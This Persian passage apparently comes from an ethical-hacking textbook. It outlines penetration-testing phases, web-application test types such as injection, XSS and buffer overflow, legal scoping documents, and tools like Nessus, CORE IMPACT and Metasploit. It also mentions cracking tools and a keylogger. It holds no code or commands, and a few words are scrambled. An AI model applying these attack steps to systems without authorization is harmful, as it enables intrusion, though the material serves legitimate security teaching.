CHAOS ،EncryptOnClick ،CryptoForge ،SafeCryptor ،CrypTool ،Command Line Scriptor.  
  

  ابزارهاي هك
PGP Crackانجام اي براي  ، برنامهbrute force هاي رمز شده با  براي فايلPGP است.  

  
Magic Lanternاين . كنند هاي قوي استفاده مي هايي است كه از الگوريتم افزاري براي شكستن كليد برنامه ، نرم

كند و كليدهاي فشرده شده توسط كاربر را  عمل مي keyloggerكند كه به عنوان  برنامه، ويروسي را وارد كامپيوتر مي
  .كند ثبت مي
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 انزدهمپ فصل

 

  تست نفوذ هاي روش
  

  

  

  

  

 

www.ketabha.org



 

230 

 

 

  مقدمه

هدف . كند هاي يك سازمان را شبيه سازي مي تست نفوذ، حمله هكر براي گرفتن دسترسي به شبكه يا سيستم

اساسا براي مشاهده اينكه آيا سازمان، معيارهاي : سازي و سياست امنيتي يك سازمان است از تست نفوذ، بررسي پياده

  .نهيا سازي كرده  است را به درستي پياده كردهامنيتي كه در سياست امنيتي مشخص 

را  )Pen tester( هكري كه قصد دارد به شبكه يك سازمان دسترسي پيدا كند، با شخصي كه عمل تست نفوذ

  .كند، متفاوت است جهت افزايش امنيت شبكه سازمان بدون ايجاد خطر استفاده مي خود دهد و از دانش انجام مي

  

  هاي امنيتي ارزيابي

Pen testerدهد تا نتايج حمله واقعي يك هكر را آشكار كند ، وضعيت امنيتي سازمان را مورد ارزيابي قرار مي .

هر . ابي آسيب پذيري، يا تست نفوذ دسته بندي شوندهاي امنيتي، ارزي توانند به عنوان بررسي هاي امنيتي، مي ارزيابي

  .هاي مختلفي داشته باشند دهند، مهارت لزم اين است كه افرادي كه ارزيابي را انجام ميستارزيابي امنيتي، م

مشكلات امنيتي شناخته  جهت يافتنها را  و سيستم IPهاي  بازرسي امنيتي و ارزيابي آسيب پذيري، شبكه

ها و  هاي فعال، كاربران، و سيستم عامل آنها اين كار را با ابزارهايي كه براي شناسايي سيستم. كنند شده اسكن مي

  .دهند ها هستند انجام مي برنامه

كنند در حاليكه تست نفوذ در  هاي بالقوه را شناسايي مي ارزيابي آسيب پذيري يا امنيتي، تنها آسيب پذيري

است كه اگر باز باشد آيا كسي  يدوروز ارزيابي امنيتي، بررسي درب مثالي ا. براي دسترسي به شبكه است عواق

. نتايج آن رويت شود تاشود تا درب باز شود  در تست نفوذ، تلاش مي. يا نه تواند دسترسي غير مجاز پيدا كند مي

 ها است اما بسيار تهاجمي است و بنابراين، احتمال تخريب هاي شبكه يا سيستم تست نفوذ، شاخص خوبي از ضعف

  .هاي شبكه وجود دارد يسسرو
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  هاي تست نفوذ روش

را  ارزيابي خارجي، اطلاعات عمومي قابل دسترس. ارزيابي خارجي و داخلي: دو نوع ارزيابي امنيتي وجود دارد

ها را از محيط خارج از شبكه، و معمولا از طريق اينترنت  دهد و اكسپلويت كند، اسكن شبكه را انجام مي بررسي مي

افتد اما تست كننده به عنوان كارمند كه مقدار كمي به  ارزيابي داخلي، از داخل شبكه سازمان اتفاق مي. كند مياجرا 

  .كند شبكه دسترسي دارد، يا هكر كلاه سياهي كه هيچ دانشي از محيط ندارد، عمل مي

بايد برنامه هماهنگي را براي استفاده بهينه از منابع و تيم،  .دنرادريسك بالايي سياه،  جعبهتست نفوذ  لاومعم

  .زمان طراحي كنند

سازماني كه . كنيد outsourceتوانيد آن را  اگر شما دانش و تجربه كافي براي انجام تست نفوذ نداريد، مي

و نبايد تست شوند را يعني چيزهايي كه بايد . كند بايد محدوده ارزيابي را مشخص كند شرايط ارزيابي را مشخص مي

در . مورد ارزيابي قرار گيرد DMZسيستم از  10تنها  مقرر شود كهبراي مثال، ممكن است . بايد مشخص كند

  .زمان مختل شدن سرويس بايد انجام شوند، تعيين شوندتعريف شود تا عملياتي كه در SLA محدوده كاري، بايد 

  

ديدگاه ديگر اين . تواند بصورت دستي و با ابزارهاي رايگان مختلف انجام شود ارزيابي امنيتي يا تست نفوذ، مي

گاهي اوقات، ارزيابي وضعيت امنيتي با استفاده از تست . است كه از ابزارهاي گران قيمت اتوماتيك استفاده شود

تر است اما  ديدگاه اتوماتيك، سريعتر و راحت. تري استدستي، نسبت به استفاده از ابزارهاي اتوماتيك، گزينه به

ريزي، زمانبندي، و مستند  دستي، نياز به برنامه شوردر حاليكه، در  دنوشن ماجنها ا ممكن است برخي از بازرسي

  .سازي با صبر و حوصله دارد

  

  مراحل تست نفوذ

  :تست نفوذ شامل سه مرحله است

 )pre-attack( مرحله پيش از حمله •

 )attack( مرحله حمله •

  )post-attack( مرحله پس از حمله •
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. اين اولين مرحله براي تست نفوذ است. آوري داده است مرحله پيش از حمله، شامل شناسايي يا جمع

تواند به شما در يافتن هدفي كه داراي اطلاعات با  ، و اسكن شبكه ميWhois ،DNSها از طريق  آوري داده جمع

تست نفوذ ). هاي در حال اجرا بر روي سيستم بدون در نظر گرفتن سيستم عامل و برنامه(شي است كمك كند ارز

ها است كه  براي پيدا كردن اطلاعات تماس اشخاص، و اطلاعات سيستم Whoisدر  IPاستفاده از نام دامنه يا شامل 

هاي فيلترينگ شبكه را  دستگاهشما بايد . تواند براي ايجاد دياگرام جزئي از شبكه و شناسايي هدف كمك كند بعدا مي

را بررسي كنيد تا  ها را شناسايي كنيد و نصب پيش فرض فايروال... تست كنيد تا ترافيك قانوني، پروكسي سرورها، و 

اند و نيز اجازه دسترسي از  اند يا تغيير كرده هاي كاربري و پسوردهاي پيش فرض، غير فعال شده مطمئن شويد كه نام

  :آيند عبارتند از پس اطلاعاتي كه در اين مرحله بدست مي .راه دور وجود ندارد

 مكان فيزيكي و منطقي سازمان •

 ارتباطات آنالوگ •

 ها اطلاعات تماس •

 هاي ديگر اطلاعات درباره سازمان •

  اطلاعات ديگري كه براي هك مفيد هستند •

) responsive(يا واكنشي ) exploitive(در اين مرحله، ابزارها ممكن است تخريبي . مرحله بعدي، حمله است

. شوند ميها و شبكه استفاده  اي براي مانيتور و تست كردن امنيت سيستم اين ابزارها توسط هكرهاي حرفه. باشند

  :شود محدود نميفقط به اين موارد هاي زير جز مراحل حمله هستند ولي  فعاليت

  

ها با   و فيلترينگ پروتكل )ACL(هاي دسترسي  بررسي گزارشات خطا، كنترل شامل :)perimeter(محيط  نفوذ به

 bufferهمچنين تست كننده بايد حملات . است Telnet، و SSH ،FTPها از قبيل  استفاده از برخي پروتكل
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overflow ،SQL injection ،DoS  افزار، شما بايد براي تست وب  علاوه بر اين، براي تست نرم .را نيز تست كند... و

هاي وايرلس، زمان صرف كنيد براي اينكه، امروزه، تهديد داخلي بزرگترين تهديد  هاي داخلي، و پيكربندي اپليكشن

  .امنيتي است

  :شوند عبارتند از هايي كه براي اين منظور استفاده مي برخي از تست :وب تحت هاي برنامهتست 

• Input Validation:  شاملOS command injection ،script injection ،SQL injection ،LDAP 

injection و ،cross site scripting. 

• Output Sanitization: دهد شامل وارد كردن كاراكترهاي مخصوص و بررسي خطاهايي كه برنامه مي. 

• Access Control: ها  ها را به فيلدهاي فرم كند و داده هاي مديريتي را بررسي مي دسترسي به اينترفيس

 ...دهد و  هاي سمت كلاينت را تغيير مي كند، اسكريپت ارسال مي

• Checking for Buffer Overflow: هاي  شامل تستstack overflow ،heap overflow و ،format 

string overflow است. 

• Denial of Service:  تست حملاتDoS  با روشهايي از قبيل ورودي ناقص، قفل برنامه به خاطر بار

 .شود هاي زياد به برنامه انجام مي هاي تراكنش، يا درخواست ترافيكي زياد، درخواست

• Compnent Checking: كند كه ممكن است  را تست مي هاي وب سرورها، هاي امنيتي روي مولفه كنترل

 .برنامه تحت وب را نشان دهد آسيب پذير بودن

• Confidentiality Check: كنند، اشتباهاتي  ها و رمزگذاري امن استفاده مي هايي كه از پروتكل براي برنامه

 .كند گيرد را بررسي مي كه در استفاده از الگوريتم ضعيف يا مكانيزم مبادله، صورت مي

• Session Management: هاي  ها، و انقضاي توكن هاي نشست، طول توكن شامل بررسي صحت توكن

  .مرورگر است casheيا  historyهاي نشست در  ، و وجود توكنSSLبه غير  SSLنشست در انتقال از منابع 

توانيد از  شما مي. تر از اسكن آسيب پذيري هستند ها، بسيار تهاجمي اين مجموعه از فعاليت :بدست آوردن هدف

، يا از طريق اطلاعاتي كه ار طريق مهندسي اجتماعي بدست CORE IMPACTابزار اتوماتيك اكسپلويت مثل  يك

، يا brute-forceهمچنين بايد الزام به اجراي سياست امنيتي، شكستن پسورد به روش  .آوريد استفاده كنيد مي

  .ابزارهاي گرفتن دسترسي را تست كنيد

تواند سعي كند كه دسترسي بيشتري به  شود، تست كننده مي زمانيكه اكانت كاربر درخواست مي :افزايش دسترسي

هاي سيستم براي اكسپلويت كردن  توانند از آسيب پذيري بسياري از ابزارهاي هك، مي. سيستم يا شبكه را به آن دهد

  .استفاده كنند administratorو ايجاد حساب كاربري جديد با دسترسي 
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مهارت هك شما با افزايش سطح دسترسي بر روي يك سيستم يا شبكه با در نظر گرفتن . استآخرين مرحله  :ااجر

دهد كه  ، نشان مي)leaving a mark(نشانه گذاري كردن . شود عدم توقف فرآيندهاي تجاري، به چالش كشيده مي

خواهند كه شما اينكار را انجام  ها، نمي شركتبسياري از . توانستيد دسترسي بيشتري به منابع پيدا كنيد شما مي

ها وجود دارند و پيش از انجام تست،  بنابراين، اين قبيل محدوديت. دهيد يا كدهاي مورد دلخواه خود را اجرا كنيد

  .شوند عنوان مي

، ها هاي پيش از حمله است كه شامل پاك كردن فايل مرحله پس از حمله، شامل بازيابي سيستم به پيكربندي

و پاك كردن ارتباطات هاي تست شده،  ها از سيستم پاك كردن تمام ابزارها و اكسپلويتهاي رجيستري،  حذف ورودي

  .است

اين گزارش . دهيد كنيد و آن را در قالب گزارشي كامل به مديريت ارائه مي نهايتا، شما تمام نتايج را تحليل مي

ها است و ممكن است شامل  صورت گرفته، و نتايج اين فعاليتهاي  شامل اهداف شما، مشاهدات شما، تمام فعاليت

  .ها باشد هايي براي برطرف كردن آسيب پذيري روش

 

  وب قانوني تست نفوذچچار

. دهد، بايد از مسائل قانوني هك يك شبكه آگاه باشد حتي هك قانونمند كه تست نفوذ را انجام مي شخصي

  :مستنداتي كه يك هكر قانونمند با مشتري براي انجام تست نفوذ امضا كند، به شرح زير هستند

 محدوده كاري، براي تعيين اينكه چه چيزي بايد تست شود •

 ، در شرايطي كه تست كننده، اطلاعات محرمانه را ببيند)NDA(توافق نامه عدم افشاي اطلاعات  •

  به اينكه هكر قانونمند، از انجام عمليات خرابكارانه خودداري خواهد كردتعهد،  •

  

  ابزارهاي خودكار تست نفوذ

انجام شده است، ده ابزار زير را به عنوان  2006نتايج تحقيقاتي كه در زمينه ابزارهاي تست نفوذ در سال 

  :اند بهترين ابزارهاي تست نفوذ معرفي كرده

Nessus: افزار، داراي  اين نرم. پلاگين دارد 11000افزار اسكن آسيب پذيري شبكه است كه بيش از  اين نرم

، و زبان اسكريپتي براي نوشتن GTKسرور با رابط گرافيكي /هاي امنيتي لوكال و راه دور، معماري كلاينت بررسي

  .لخواه استهاي مورد د پلاگين
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GFI LANguard: افزار،  اين نرم. اين يك اسكنر تجاري براي امنيت شبكه براي سيستم عامل ويندوز است

تواند سيستم عامل  افزار مي اين نرم. هاي در حال اجرا را شناسايي كند كند تا ماشين را اسكن مي IPهاي  شبكه

هاي نصب  patchس پك نصب شده بر روي سيستم عامل، ها، سروي هاي در حال اجراي سيستم كامپيوترها، برنامه

  .را كشف كند... نشده و 

Retina :همانند . يك اسكنر تجاري آسيب پذيري استNessusهاي يك شبكه را اسكن  ، اين برنامه نيز تمام سيستم

  .دهد هاي كشف شده را گزارش مي كند و تمام آسيب پذيري مي

CORE IMPACT : به عنوان قدرتمندترين ابزار اكسپلويت محصولي براي خودكارسازي فرآيند تست نفوذ است كه

اين محصول داراي پايگاه داده بسيار بزرگ و آپديت است كه ). اين محصول بسيار گران است(شود  مطرح مي

  .ستاي را دارا هاي حرفه اكسپلويت

ISS Internet Scanner: تواند بيش از  اسكنر اينترنت مي. آسيب پذيري در سطح اپليكشن است ارزيابي يك ابزار

هاي امنيتي، و  ها، دستگاه ، فايروالها نوع دستگاه شبكه از قبيل كامپيوترهاي روميزي، سرورها، روترها، سوئيچ 1300

  .را شناسايي كند... 

X-Scan:  اين ابزار . دهد را انجام مييك اسكنر شبكه است كه بصورت چند نخي عمليات اسكن آسيب پذيري

  .كند كشفو پسوردهاي ضعيف را  usernameهاي راه دور و نسخه آنها، و  ها، نوع سيستم عامل تواند نوع سرويس مي

SARA:  ابزار ارزيابي آسيب پذيري است كه از اسكنرSATAN هاي آن دو بار در ماه  آپديت. مشتق شده است

  .شود منتشر مي

  

QualysGuard:  توانند از طريق اينترفيس وب به آن وصل  كاربران مي. اسكنر آسيب پذيري تحت وب استيك

  .كند آسيب پذيري را چك مي 5000اين ابزار، بيش از . شوند

SAINT: ابزاري تجاري براي ارزيابي آسيب پذيري است.  
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MBSA: محصول مايكروسافت است كه با ديگر محصولات مايكروسافت سازگاري دارد.MBSA  به طور متوسط هر

  .كند ميليون كامپيوتر را اسكن مي 3هفته، 

  :علاوه بر اين ليست، شما بايد با ابزارهاي ديگر اكسپلويت آشنا باشيد

Metasploit Framework: افزار اپن سورس براي ايجاد، تست، و استفاده از اكسپلويت است نرم.  

Canvas:  اكسپلويت است 150ابزار تجاري استفاده از آسيب پذيري است كه شامل بيش از.  

  

  موارد قابل ارائه در تست نفوذ

  :اين گزارش بايد شامل موارد زير باشد. ترين مورد قابل ارائه در پايان تست نفوذ، گزارش تست نفوذ است اصلي

 هاي شما، به ترتيب پرخطرترين ريسك ليست يافته •

 هاي شما يافتهتحليل  •

 هاي شما نتايج يا توضيح يافته •

 هاي شما افتهي يارب لكشم عفرمعيارهاي  •

 هاي شماست هاي لاگ ابزارها كه مدركي بر يافته فايل •

 خلاصه اجرايي از وضعيت امنيتي سازمان •

 نام تست كننده و تاريخ انجام تست •

  سازي امنيتي خوب هر يافته مثبت يا پياده •
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